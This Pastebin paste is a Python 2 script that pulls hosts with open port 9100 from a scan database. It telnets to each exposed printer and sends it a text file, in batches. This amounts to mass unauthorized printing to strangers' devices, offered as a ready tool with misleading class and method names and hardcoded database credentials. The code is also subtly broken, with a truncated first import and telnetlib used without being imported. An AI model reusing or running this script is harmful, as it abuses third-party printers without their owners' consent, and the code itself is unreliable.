Advertisement
Guest User

Untitled

a guest
Jan 4th, 2018
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.26 KB | None | 0 0
  1. mport requests
  2. import sys
  3. import os
  4. import time
  5. import csv
  6. import mysql.connector
  7. import re
  8. import gevent
  9. import random
  10. from subprocess import call
  11.  
  12. class report_open_proxy():
  13.  
  14. # TODO: Randomized User Agents
  15. def __init__(self):
  16. self.sql_query = ("Select tbl_IPAddresses.strIPAddr, tbl_IPAddresses.strCountry, tbl_IPAddresses.strCity, tbl_IPAddresses.strRegion, "
  17. "tbl_service.intPort, tbl_service_content.txtDump From tbl_IPAddresses Inner Join tbl_service on tbl_IPAddresses.idIPAddr "
  18. "= tbl_service.idIPAddr Inner Join tbl_service_content On tbl_service.idSvc = tbl_service_content.idSvc Where "
  19. "((tbl_service.intPort = 9100)) and tbl_service.dateDiscovered >= \"2017-12-22 12:27:46\"")
  20.  
  21. # Generate List of IPs and Ports with idsvc for each port
  22. def generate_list(self, sql_query):
  23. cnx = mysql.connector.connect(unix_socket='/run/mysqld/mysqld.sock',user='zedspider', password='password', database='zedspider')
  24. cursor = cnx.cursor()
  25. cursor.execute(sql_query)
  26.  
  27. test_list = cursor.fetchall()
  28.  
  29. return test_list
  30.  
  31. def syscall_vncsnapshot(self, ipaddr, port):
  32.  
  33. file = open('print-text.txt', 'r')
  34. strbuffer = file.read()
  35. file.close()
  36.  
  37. #print strbuffer
  38. print "Sending text to " + ipaddr + "."
  39. tn = telnetlib.Telnet(ipaddr, port)
  40. tn.write(strbuffer)
  41. time.sleep(3)
  42. tn.close()
  43. print "Succeess for " + ipaddr + "."
  44.  
  45. def run(self):
  46. # Generate List of IPs and Ports and store in list variable
  47. self.test_list = self.generate_list(self.sql_query)
  48.  
  49. total = len(self.test_list)
  50.  
  51. test_queue = []
  52.  
  53. while self.test_list:
  54. print "Testing " + str(total-len(self.test_list)) + "/" + str(total) + " possible printers."
  55. for counter in range(0,min(30, len(self.test_list))):
  56. test_queue.append(self.test_list[0])
  57. del self.test_list[0]
  58. counter += 1
  59. jobs = [gevent.spawn(self.syscall_vncsnapshot, row[0], row[4]) for row in test_queue]
  60. gevent.joinall(jobs)
  61. test_queue = []
  62. counter = 0
  63. time.sleep(45)
  64.  
  65.  
  66. M = report_open_proxy()
  67. M.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement